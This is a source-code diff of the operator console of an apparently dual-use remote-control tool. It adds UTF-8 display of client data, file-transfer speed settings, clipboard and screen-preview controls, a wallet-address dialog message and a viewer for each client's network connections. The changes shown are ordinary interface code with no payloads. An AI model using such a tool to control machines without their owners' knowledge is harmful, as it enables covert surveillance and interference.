#include <string>
// CClientListDlg 对话框 // CClientListDlg 对话框
@@ -93,6 +94,27 @@ static CString GetFieldValue(const ClientValue& val, GroupField field)
} }
} }
// 程序路径与地理位置均以 UTF-8 存储(见 AddList / client 的 RES_FILE_PATH、RES_CLIENT_LOC),
// 这里用 LVM_SETITEMTEXTW 直接写宽字符串,绕开 ANSI→CP_ACP 回转,
// 即使服务端运行在非中文 ACP(如德语)上,中文/带变音符的文本也能正常显示(与窗口/进程管理同法)。
static void SetUtf8ItemText(CListCtrl& list, int iItem, int iSubItem, const char* sz)
{
std::wstring w;
if (sz && sz[0]) {
int wlen = MultiByteToWideChar(CP_UTF8, 0, sz, -1, NULL, 0);
if (wlen > 1) {
w.resize(wlen - 1);
MultiByteToWideChar(CP_UTF8, 0, sz, -1, &w[0], wlen);
}
}
LVITEMW lv = {};
lv.mask = LVIF_TEXT;
lv.iItem = iItem;
lv.iSubItem = iSubItem;
lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
}
// 比较两个客户端的指定列,返回 <0, 0, >0 // 比较两个客户端的指定列,返回 <0, 0, >0
static int CompareClientByColumn(const std::pair<ClientKey, ClientValue>& a, static int CompareClientByColumn(const std::pair<ClientKey, ClientValue>& a,
const std::pair<ClientKey, ClientValue>& b, const std::pair<ClientKey, ClientValue>& b,
@@ -294,12 +316,12 @@ void CClientListDlg::DisplayClients()
m_ClientList.SetItemText(nItem, COL_ID, strID); m_ClientList.SetItemText(nItem, COL_ID, strID);
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note); m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName)); m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location); SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
m_ClientList.SetItemText(nItem, COL_IP, val.IP); m_ClientList.SetItemText(nItem, COL_IP, val.IP);
m_ClientList.SetItemText(nItem, COL_OS, val.OsName); m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime); m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime); m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath)); SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel); m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth); m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
m_ClientList.SetItemData(nItem, (DWORD_PTR)key); m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
@@ -346,12 +368,12 @@ void CClientListDlg::DisplayClients()
m_ClientList.SetItemText(nItem, COL_ID, strID); m_ClientList.SetItemText(nItem, COL_ID, strID);
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note); m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName)); m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location); SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
m_ClientList.SetItemText(nItem, COL_IP, val.IP); m_ClientList.SetItemText(nItem, COL_IP, val.IP);
m_ClientList.SetItemText(nItem, COL_OS, val.OsName); m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime); m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime); m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath)); SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel); m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth); m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
m_ClientList.SetItemData(nItem, (DWORD_PTR)key); m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
+49
View File
@@ -151,6 +151,54 @@ void CDlgFileSend::UpdateProgress(CString file, const FileProgressInfo& info)
PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileProgressInfo(info)); PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileProgressInfo(info));
} }
// 将字节/秒格式化为人类可读的速度串(如 "5.3M/s"、"320K/s"、"800B/s")
static CStringW FormatSpeed(double bps)
{
CStringW s;
if (bps >= 1024.0 * 1024.0)
s.Format(L"%.1fM/s", bps / (1024.0 * 1024.0));
else if (bps >= 1024.0)
s.Format(L"%.0fK/s", bps / 1024.0);
else
s.Format(L"%.0fB/s", bps);
return s;
}
// 累计字节并周期性刷新标题中的速度(如 "发送文件 - 5.3M/s")
void CDlgFileSend::UpdateTitleWithSpeed(uint64_t dataLength)
{
m_ullTotalBytes += dataLength;
ULONGLONG now = GetTickCount64();
// 首帧:用 Unicode API 捕获当前标题作为基础部分(可能已被 V2/C2C 覆盖为 "接收文件 (V2)" 等),
// 并建立采样基准;此时尚无速度可显示。
if (!m_bBaseTitleCaptured) {
WCHAR wBase[128] = { 0 };
::GetWindowTextW(m_hWnd, wBase, 128);
m_strBaseTitle = wBase;
m_bBaseTitleCaptured = true;
m_ullLastTick = now;
m_ullLastBytes = m_ullTotalBytes;
return;
}
ULONGLONG dt = now - m_ullLastTick;
if (dt < 200) return; // 采样间隔未到,仅累积字节
uint64_t delta = m_ullTotalBytes - m_ullLastBytes;
double speed = dt ? (double)delta * 1000.0 / (double)dt : 0.0;
m_dSpeedBps = (m_dSpeedBps == 0.0) ? speed : m_dSpeedBps * 0.6 + speed * 0.4; // 轻度平滑
m_ullLastTick = now;
m_ullLastBytes = m_ullTotalBytes;
// 基础标题(Unicode)+ ASCII 速度后缀,全程 Unicode API,避免非中文系统上 ANSI 消息按系统 ACP 解码乱码
CStringW title = m_strBaseTitle;
title += L" - ";
title += FormatSpeed(m_dSpeedBps);
::SetWindowTextW(m_hWnd, title);
}
void CDlgFileSend::FinishFileSend(BOOL succeed) void CDlgFileSend::FinishFileSend(BOOL succeed)
{ {
if (!GetSafeHwnd()) return; if (!GetSafeHwnd()) return;
@@ -170,6 +218,7 @@ LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam)
SetDlgItemText(IDC_STATIC_CURRENTINDEX, status); SetDlgItemText(IDC_STATIC_CURRENTINDEX, status);
SetDlgItemText(IDC_STATIC_CURRENT_FILE, *pFile); SetDlgItemText(IDC_STATIC_CURRENT_FILE, *pFile);
m_Progress.SetPos((int)percent); m_Progress.SetPos((int)percent);
UpdateTitleWithSpeed(pInfo->dataLength);
// 只在第一次显示时置顶,后续更新不抢焦点 // 只在第一次显示时置顶,后续更新不抢焦点
if (!IsWindowVisible()) { if (!IsWindowVisible()) {
+10
View File
@@ -51,6 +51,14 @@ public:
BOOL m_bTargetOffline = FALSE; // C2C目标已离线,已发送取消包 BOOL m_bTargetOffline = FALSE; // C2C目标已离线,已发送取消包
enum { IDD = IDD_DIALOG_FILESEND }; enum { IDD = IDD_DIALOG_FILESEND };
// 传输速度统计(用于标题实时显示速度,如 "发送文件 - 5.3M/s")
CStringW m_strBaseTitle; // 标题基础部分("发送文件"/"接收文件 (V2)" 等,Unicode),首帧进度时捕获
bool m_bBaseTitleCaptured = false;
uint64_t m_ullTotalBytes = 0; // 累计传输字节
uint64_t m_ullLastBytes = 0;
ULONGLONG m_ullLastTick = 0; // 上次速度采样时刻 (ms)
double m_dSpeedBps = 0.0; // 平滑后的速度 (B/s)
protected: protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持 virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
@@ -59,6 +67,8 @@ protected:
afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
void UpdateTitleWithSpeed(uint64_t dataLength); // 累计字节并周期性刷新标题速度
public: public:
CProgressCtrl m_Progress; CProgressCtrl m_Progress;
virtual BOOL OnInitDialog(); virtual BOOL OnInitDialog();
+133
View File
@@ -0,0 +1,133 @@
// CFileSpeedDlg.h
// 文件传输速度调节对话框:拖动滑块选档位,实时显示预估速度。
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::OnFileTransferSpeed() 负责。
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现 + 消息映射,勿多处包含)。
#pragma once
#include "LangManager.h"
#include <afxcmn.h>
// 档位表(权威来源:docs/FileTransferSpeed_Design.md §3)。
// chunkKb * 1024 / durationMs 即理论字节/秒;durationMs==0 表示不人为限速。
struct FileSpeedTier { int chunkKb; int durMs; const TCHAR* name; };
static const FileSpeedTier kFileSpeedTiers[] = {
{ 64, 200, _T("最慢") }, // ≈0.31 MB/s
{ 64, 100, _T("慢") }, // ≈0.63 MB/s
{ 64, 50, _T("默认") }, // ≈1.25 MB/s
{ 128, 50, _T("快") }, // ≈2.5 MB/s
{ 256, 50, _T("更快") }, // ≈5 MB/s
{ 512, 50, _T("很快") }, // ≈10 MB/s
{ 1024, 0, _T("不限速") }, // 网络上限
};
#define FILE_SPEED_TIER_COUNT 7
#define FILE_SPEED_DEFAULT_TIER 2 // 默认档位
class CFileSpeedDlg : public CDialog
{
public:
enum { IDD = IDD_FILE_SPEED };
CFileSpeedDlg(int chunkKb, int durMs, CWnd* pParent = NULL)
: CDialog(CFileSpeedDlg::IDD, pParent), m_chunkKb(chunkKb), m_durMs(durMs)
{
}
int GetChunkKb() const { return m_chunkKb; }
int GetDurMs() const { return m_durMs; }
protected:
int m_chunkKb;
int m_durMs;
static int TierIndexFor(int chunkKb, int durMs)
{
for (int i = 0; i < FILE_SPEED_TIER_COUNT; i++)
if (kFileSpeedTiers[i].chunkKb == chunkKb && kFileSpeedTiers[i].durMs == durMs)
return i;
return FILE_SPEED_DEFAULT_TIER; // 未知值回落默认
}
static void FormatSpeed(int idx, CString& out)
{
const FileSpeedTier& t = kFileSpeedTiers[idx];
// 档位名与格式串经 _TR/_LF 走多语言表(LangManager),语言文件以中文原文为 key。
if (t.durMs <= 0) {
out.FormatL(_T("%s · 不受限速(受网络带宽约束)"), _LF(t.name));
return;
}
double mbps = (double)t.chunkKb * 1024.0 / (t.durMs / 1000.0) / (1024.0 * 1024.0);
out.FormatL(_T("%s · 约 %.2f MB/s"), _LF(t.name), mbps);
}
int GetSliderPos()
{
int pos = (int)SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_GETPOS, 0, 0);
if (pos < 0) pos = 0;
if (pos >= FILE_SPEED_TIER_COUNT) pos = FILE_SPEED_TIER_COUNT - 1;
return pos;
}
void UpdateLabel()
{
CString s;
FormatSpeed(GetSliderPos(), s);
SetDlgItemText(IDC_FSPEED_LABEL, s);
}
virtual BOOL OnInitDialog() override
{
CDialog::OnInitDialog();
// 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?",TranslateDialog
// 拿到的是已乱码文本无法还原,故在此显式设置(参照 NotifySettingsDlg)。
// 均经 _TR 支持多语言翻译。
SetWindowText(_TR("文件传输速度"));
SetDlgItemText(IDC_FSPEED_HINT, _TR("拖动滑块设置文件传输速度:"));
SetDlgItemText(IDC_FSPEED_LABEL_SLOWEST, _TR("最慢"));
SetDlgItemText(IDC_FSPEED_LABEL_DEFAULT, _TR("默认"));
SetDlgItemText(IDC_FSPEED_LABEL_UNLIMITED, _TR("不限速"));
SetDlgItemText(IDC_FSPEED_RESET, _TR("恢复默认"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETRANGE, TRUE,
MAKELONG(0, FILE_SPEED_TIER_COUNT - 1));
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPAGESIZE, 0, 1);
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETTICFREQ, 0, 1);
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, TierIndexFor(m_chunkKb, m_durMs));
UpdateLabel();
return TRUE;
}
virtual void OnOK() override
{
int idx = GetSliderPos();
m_chunkKb = kFileSpeedTiers[idx].chunkKb;
m_durMs = kFileSpeedTiers[idx].durMs;
CDialog::OnOK();
}
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
(void)nSBCode; (void)nPos; (void)pScrollBar;
UpdateLabel(); // 拖动过程中实时刷新预估速度
}
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
{
if (LOWORD(wParam) == IDC_FSPEED_RESET && HIWORD(wParam) == BN_CLICKED) {
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, FILE_SPEED_DEFAULT_TIER);
UpdateLabel();
return TRUE;
}
return CDialog::OnCommand(wParam, lParam);
}
DECLARE_MESSAGE_MAP()
};
BEGIN_MESSAGE_MAP(CFileSpeedDlg, CDialog)
ON_WM_HSCROLL()
END_MESSAGE_MAP()
+12
View File
@@ -551,6 +551,18 @@ void CIconButton::DrawIconLetterZ(CDC* pDC, const CRect& rc)
DrawLetterIcon(pDC, rc, _T("Z")); DrawLetterIcon(pDC, rc, _T("Z"));
} }
// Letter C icon (获取剪贴板)
void CIconButton::DrawIconLetterC(CDC* pDC, const CRect& rc)
{
DrawLetterIcon(pDC, rc, _T("C"));
}
// Letter P icon (设置剪贴板)
void CIconButton::DrawIconLetterP(CDC* pDC, const CRect& rc)
{
DrawLetterIcon(pDC, rc, _T("P"));
}
// Audio On: speaker with sound waves // Audio On: speaker with sound waves
void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc) void CIconButton::DrawIconAudioOn(CDC* pDC, const CRect& rc)
{ {
+2
View File
@@ -46,6 +46,8 @@ public:
static void DrawIconLetterX(CDC* pDC, const CRect& rc); // 字母 X 图标 static void DrawIconLetterX(CDC* pDC, const CRect& rc); // 字母 X 图标
static void DrawIconLetterY(CDC* pDC, const CRect& rc); // 字母 Y 图标 static void DrawIconLetterY(CDC* pDC, const CRect& rc); // 字母 Y 图标
static void DrawIconLetterZ(CDC* pDC, const CRect& rc); // 字母 Z 图标 static void DrawIconLetterZ(CDC* pDC, const CRect& rc); // 字母 Z 图标
static void DrawIconLetterC(CDC* pDC, const CRect& rc); // 字母 C 图标 (获取剪贴板)
static void DrawIconLetterP(CDC* pDC, const CRect& rc); // 字母 P 图标 (设置剪贴板)
static void DrawIconAudioOn(CDC* pDC, const CRect& rc); // 音频开启图标 (喇叭+声波) static void DrawIconAudioOn(CDC* pDC, const CRect& rc); // 音频开启图标 (喇叭+声波)
static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线) static void DrawIconAudioOff(CDC* pDC, const CRect& rc); // 音频关闭图标 (喇叭+斜线)
+8
View File
@@ -160,6 +160,9 @@ void CListCtrlEx::SetColumnVisible(int nCol, BOOL bVisible)
if (m_Columns[nCol].CanHide || bVisible) { // 不允许隐藏的列只能设为可见 if (m_Columns[nCol].CanHide || bVisible) { // 不允许隐藏的列只能设为可见
m_Columns[nCol].Visible = bVisible; m_Columns[nCol].Visible = bVisible;
AdjustColumnWidths(); AdjustColumnWidths();
// 列数变化后完整重绘(含背景擦除),否则最后一列右侧会残留旧列残影。
ScopedEraseBkgnd scope(*this);
RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
} }
} }
} }
@@ -230,6 +233,11 @@ void CListCtrlEx::ToggleColumnVisibility(int nColumn)
// 重新调整列宽 // 重新调整列宽
AdjustColumnWidths(); AdjustColumnWidths();
// 列数变化后完整重绘(含背景擦除),否则最后一列(TLS 等)右侧会残留旧列残影。
// 与 OnSize 中 needRefresh 分支相同的处理:临时放行背景擦除 + 全量 RedrawWindow。
ScopedEraseBkgnd scope(*this);
RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
} }
void CListCtrlEx::LoadColumnVisibility() void CListCtrlEx::LoadColumnVisibility()
+1 -1
View File
@@ -250,7 +250,7 @@ bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string&
} }
// IP 列表管理常量 // IP 列表管理常量
#define MAX_IP_HISTORY 500 // 最多保留 几 个不同的 IP #define MAX_IP_HISTORY 1000 // 最多保留 几 个不同的 IP
// 解析 IP 列表字符串为 vector<pair<IP, 时间戳>> // 解析 IP 列表字符串为 vector<pair<IP, 时间戳>>
// 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd) // 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd)
+139
View File
@@ -0,0 +1,139 @@
// CPreviewLevelsDlg.h
// 屏幕预览质量等级配置对话框:编辑 6 档 PreviewProfile(编码宽度 / JPEG 质量)。
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::SavePreviewProfilesToCfg() 负责。
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现,勿多处包含)。
#pragma once
#include "LangManager.h"
class CPreviewLevelsDlg : public CDialog
{
public:
enum { IDD = IDD_PREVIEW_LEVELS };
// profiles: 指向 6 元素 PreviewProfile 数组,确认后写回
CPreviewLevelsDlg(PreviewProfile* profiles, CWnd* pParent = NULL)
: CDialog(CPreviewLevelsDlg::IDD, pParent), m_profiles(profiles)
{
}
protected:
PreviewProfile* m_profiles;
PreviewProfile m_working[QUALITY_COUNT];
static const char* LevelName(int i)
{
static const char* names[QUALITY_COUNT] = {
"Ultra", "High", "Good", "Medium", "Low", "Minimal"
};
return (i >= 0 && i < QUALITY_COUNT) ? names[i] : "?";
}
void LoadToControls()
{
CString s;
for (int i = 0; i < QUALITY_COUNT; i++) {
s.Format(_T("%d"), m_working[i].maxWidth);
SetDlgItemText(IDC_PLEVEL_WIDTH + i, s);
s.Format(_T("%d"), m_working[i].jpegQuality);
SetDlgItemText(IDC_PLEVEL_QUALITY + i, s);
}
}
bool ReadInt(int id, int& out)
{
CString s;
GetDlgItemText(id, s);
s.Trim();
if (s.IsEmpty()) return false;
int v = 0;
for (int k = 0; k < s.GetLength(); k++) {
TCHAR ch = s[k];
if (ch < _T('0') || ch > _T('9')) return false;
v = v * 10 + (ch - _T('0'));
}
out = v;
return true;
}
bool ReadFromControls(CString& err)
{
for (int i = 0; i < QUALITY_COUNT; i++) {
int w, q;
if (!ReadInt(IDC_PLEVEL_WIDTH + i, w))
{ err.Format(_T("等级 %s 的最大宽度不是有效数字"), LevelName(i)); return false; }
if (!ReadInt(IDC_PLEVEL_QUALITY + i, q))
{ err.Format(_T("等级 %s 的 JPEG 质量不是有效数字"), LevelName(i)); return false; }
if (w < 64 || w > 2560)
{ err.Format(_T("等级 %s 的最大宽度需在 64~2560 之间"), LevelName(i)); return false; }
if (q < 1 || q > 100)
{ err.Format(_T("等级 %s 的 JPEG 质量需在 1~100 之间"), LevelName(i)); return false; }
m_working[i].maxWidth = w;
m_working[i].jpegQuality = q;
}
return true;
}
void ResetToDefaults()
{
for (int i = 0; i < QUALITY_COUNT; i++) {
m_working[i] = GetScreenPreviewProfile(i);
}
LoadToControls();
}
virtual BOOL OnInitDialog() override
{
CDialog::OnInitDialog();
// 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?",TranslateDialog
// 拿到的是已乱码文本无法还原,故在此显式设置(参照 NotifySettingsDlg)。
// 均经 _TR/_L 支持多语言翻译。
SetWindowText(_TR("屏幕预览质量等级"));
SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL, _TR("等级"));
SetDlgItemText(IDC_PLEVEL_LABEL_WIDTH, _TR("最大宽度"));
SetDlgItemText(IDC_PLEVEL_LABEL_QUALITY, _TR("JPEG质量"));
static const TCHAR* kLevelNames[QUALITY_COUNT] = {
_T("Ultra 极佳"), _T("High 优秀"), _T("Good 良好"),
_T("Medium 一般"), _T("Low 较差"), _T("Minimal 最低")
};
for (int i = 0; i < QUALITY_COUNT; i++)
SetDlgItemText(IDC_PLEVEL_LABEL_LEVEL0 + i, _L(kLevelNames[i]));
SetDlgItemText(IDC_PLEVEL_LABEL_HINT,
_TR("最大宽度为期望编码宽度;JPEG 质量 1~100"));
SetDlgItemText(IDC_PLEVEL_RESET, _TR("恢复默认"));
SetDlgItemText(IDOK, _TR("确定"));
SetDlgItemText(IDCANCEL, _TR("取消"));
for (int i = 0; i < QUALITY_COUNT; i++) {
m_working[i] = m_profiles[i];
}
LoadToControls();
return TRUE;
}
virtual void OnOK() override
{
CString err;
if (!ReadFromControls(err)) {
MessageBox(err, _TR("提示"), MB_ICONWARNING);
return;
}
for (int i = 0; i < QUALITY_COUNT; i++) {
m_profiles[i] = m_working[i];
}
CDialog::OnOK();
}
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
{
if (LOWORD(wParam) == IDC_PLEVEL_RESET && HIWORD(wParam) == BN_CLICKED) {
ResetToDefaults();
return TRUE;
}
return CDialog::OnCommand(wParam, lParam);
}
};
+1 -1
View File
@@ -107,7 +107,7 @@ void CWalletDlg::OnOK()
if (a[i].IsEmpty()) continue; if (a[i].IsEmpty()) continue;
if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) { if (WALLET_UNKNOWN == detectWalletType(a[i].GetString())) {
char tip[100]; char tip[100];
sprintf(tip, "第 %d 个钱包地址不合法!", i + 1); sprintf(tip, _TRF("第 %d 个钱包地址不合法!"), i + 1);
MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION); MessageBoxL(CString(tip), "提示", MB_ICONINFORMATION);
return; return;
} }
+305
View File
@@ -0,0 +1,305 @@
// ConnectionsDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "ConnectionsDlg.h"
#include "afxdialogex.h"
#include <ws2tcpip.h>
#include <utility>
// CConnectionsDlg 对话框
IMPLEMENT_DYNAMIC(CConnectionsDlg, CDialog)
// 连接记录排序辅助:保存完整 ConnectionInfo(供右键强断)与各列排序键。
// 数字列零填充、地址列转定宽十六进制,保证字符串比较即得正确数值顺序。
typedef struct ConnItemData {
ConnectionInfo info;
CString key[8];
CString GetKey(int index) const { return key[index]; }
} ConnItemData;
CConnectionsDlg::CConnectionsDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
: DialogBase(CConnectionsDlg::IDD, pParent, IOCPServer, ContextObject, IDI_CONNECTION)
, m_nRClickItem(-1)
, m_nSortColumn(-1)
, m_bSortAscending(true)
{
}
CConnectionsDlg::~CConnectionsDlg()
{
}
void CConnectionsDlg::DoDataExchange(CDataExchange* pDX)
{
__super::DoDataExchange(pDX);
DDX_Control(pDX, IDC_LIST, m_ControlList);
DDX_Control(pDX, IDC_STATIC_COUNT, m_Count);
}
BEGIN_MESSAGE_MAP(CConnectionsDlg, CDialog)
ON_WM_CLOSE()
ON_WM_SIZE()
ON_COMMAND(ID_CONNECTION_KILL, &CConnectionsDlg::OnConnectionKill)
ON_COMMAND(ID_CONNECTION_REFRESH, &CConnectionsDlg::OnConnectionRefresh)
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CConnectionsDlg::OnNMRClickList)
ON_NOTIFY(HDN_ITEMCLICK, 0, &CConnectionsDlg::OnHdnItemclickList)
END_MESSAGE_MAP()
// CConnectionsDlg 消息处理程序
static CString FormatAddr(BYTE af, const uint8_t* addr)
{
char buf[INET6_ADDRSTRLEN] = { 0 };
if (af == AF_INET) {
inet_ntop(AF_INET, addr, buf, INET_ADDRSTRLEN);
} else {
inet_ntop(AF_INET6, addr, buf, INET6_ADDRSTRLEN);
}
return CA2T(buf);
}
static CString TcpStateName(DWORD state)
{
switch (state) {
case 1: return _T("CLOSED");
case 2: return _T("LISTEN");
case 3: return _T("SYN_SENT");
case 4: return _T("SYN_RCVD");
case 5: return _T("ESTABLISHED");
case 6: return _T("FIN_WAIT1");
case 7: return _T("FIN_WAIT2");
case 8: return _T("CLOSE_WAIT");
case 9: return _T("CLOSING");
case 10: return _T("LAST_ACK");
case 11: return _T("TIME_WAIT");
case 12: return _T("DELETE_TCB");
default: return _T("-");
}
}
// 地址排序键:IPv4/IPv6 统一转成 16 字节定宽十六进制(前缀 4/6 区分协议族),
// 使字符串比较等价于按地址数值排序。
static CString AddrSortKey(uint8_t af, const uint8_t* addr)
{
CString key;
key.Format(_T("%d:"), (af == AF_INET) ? 4 : 6);
for (int i = 0; i < 16; ++i)
key.AppendFormat(_T("%02X"), addr[i]);
return key;
}
BOOL CConnectionsDlg::OnInitDialog()
{
__super::OnInitDialog();
SetIcon(m_hIcon, TRUE);
SetIcon(m_hIcon, FALSE);
CString strString;
strString.FormatL("%s - 连接管理", m_IPAddress);
SetWindowText(strString);
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
m_ControlList.InsertColumnL(0, "协议", LVCFMT_LEFT, 50);
m_ControlList.InsertColumnL(1, "本地地址", LVCFMT_LEFT, 120);
m_ControlList.InsertColumnL(2, "本地端口", LVCFMT_LEFT, 70);
m_ControlList.InsertColumnL(3, "远端地址", LVCFMT_LEFT, 120);
m_ControlList.InsertColumnL(4, "远端端口", LVCFMT_LEFT, 70);
m_ControlList.InsertColumnL(5, "状态", LVCFMT_LEFT, 100);
m_ControlList.InsertColumnL(6, "PID", LVCFMT_LEFT, 60);
m_ControlList.InsertColumnL(7, "进程名", LVCFMT_LEFT, 180);
ShowConnectionList();
return TRUE;
}
int CConnectionsDlg::ShowConnectionList(void)
{
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
int len = tmp.GetBufferLength();
DeleteAllItems();
if (len < 3) {
CString strEmpty;
strEmpty.FormatL("连接数:%d", 0);
m_Count.SetWindowText(strEmpty);
return 0;
}
const BYTE* p = tmp.GetBuffer(0);
uint16_t count = 0;
memcpy(&count, p + 1, 2);
int avail = (len - 3) / (int)sizeof(ConnectionInfo);
if ((int)count > avail) count = (uint16_t)avail;
for (int i = 0; i < (int)count; ++i) {
const ConnectionInfo* info = (const ConnectionInfo*)(p + 3 + i * sizeof(ConnectionInfo));
CString strProto = (info->proto == 1) ? _T("TCP") : _T("UDP");
CString strLocalAddr = FormatAddr(info->af, info->localAddr);
CString strRemoteAddr = FormatAddr(info->af, info->remoteAddr);
CString strState = (info->proto == 1) ? TcpStateName(info->state) : _T("-");
CString strLocalPort, strRemotePort, strPid, strProcName;
strLocalPort.Format(_T("%u"), info->localPort);
strRemotePort.Format(_T("%u"), info->remotePort);
strPid.Format(_T("%u"), info->pid);
strProcName = CA2T(info->procName, CP_UTF8);
auto* data = new ConnItemData;
data->info = *info;
data->key[0] = strProto;
data->key[1] = AddrSortKey(info->af, info->localAddr);
data->key[2].Format(_T("%05u"), info->localPort);
data->key[3] = AddrSortKey(info->af, info->remoteAddr);
data->key[4].Format(_T("%05u"), info->remotePort);
data->key[5].Format(_T("%03u"), info->state);
data->key[6].Format(_T("%010u"), info->pid);
data->key[7] = strProcName;
m_ControlList.InsertItem(i, strProto);
m_ControlList.SetItemText(i, 1, strLocalAddr);
m_ControlList.SetItemText(i, 2, strLocalPort);
m_ControlList.SetItemText(i, 3, strRemoteAddr);
m_ControlList.SetItemText(i, 4, strRemotePort);
m_ControlList.SetItemText(i, 5, strState);
m_ControlList.SetItemText(i, 6, strPid);
m_ControlList.SetItemText(i, 7, strProcName);
m_ControlList.SetItemData(i, (DWORD_PTR)data);
}
CString strCount;
strCount.FormatL("连接数:%d", (int)count);
m_Count.SetWindowText(strCount);
return 0;
}
void CConnectionsDlg::OnClose()
{
CancelIO();
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
}
DeleteAllItems();
DialogBase::OnClose();
}
void CConnectionsDlg::DeleteAllItems()
{
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
auto data = (ConnItemData*)m_ControlList.GetItemData(i);
if (data) delete data;
}
m_ControlList.DeleteAllItems();
}
void CConnectionsDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
{
LPNMITEMACTIVATE pAct = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
m_nRClickItem = pAct->iItem;
bool canKill = false;
if (m_nRClickItem >= 0) {
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
canKill = (data && data->info.proto == 1 && data->info.af == AF_INET);
}
CMenu Menu;
Menu.LoadMenu(IDR_MENU_CONNECTIONS);
TranslateMenu(&Menu);
CMenu* SubMenu = Menu.GetSubMenu(0);
if (SubMenu && !canKill) {
SubMenu->EnableMenuItem(ID_CONNECTION_KILL, MF_BYCOMMAND | MF_GRAYED);
}
CPoint Point;
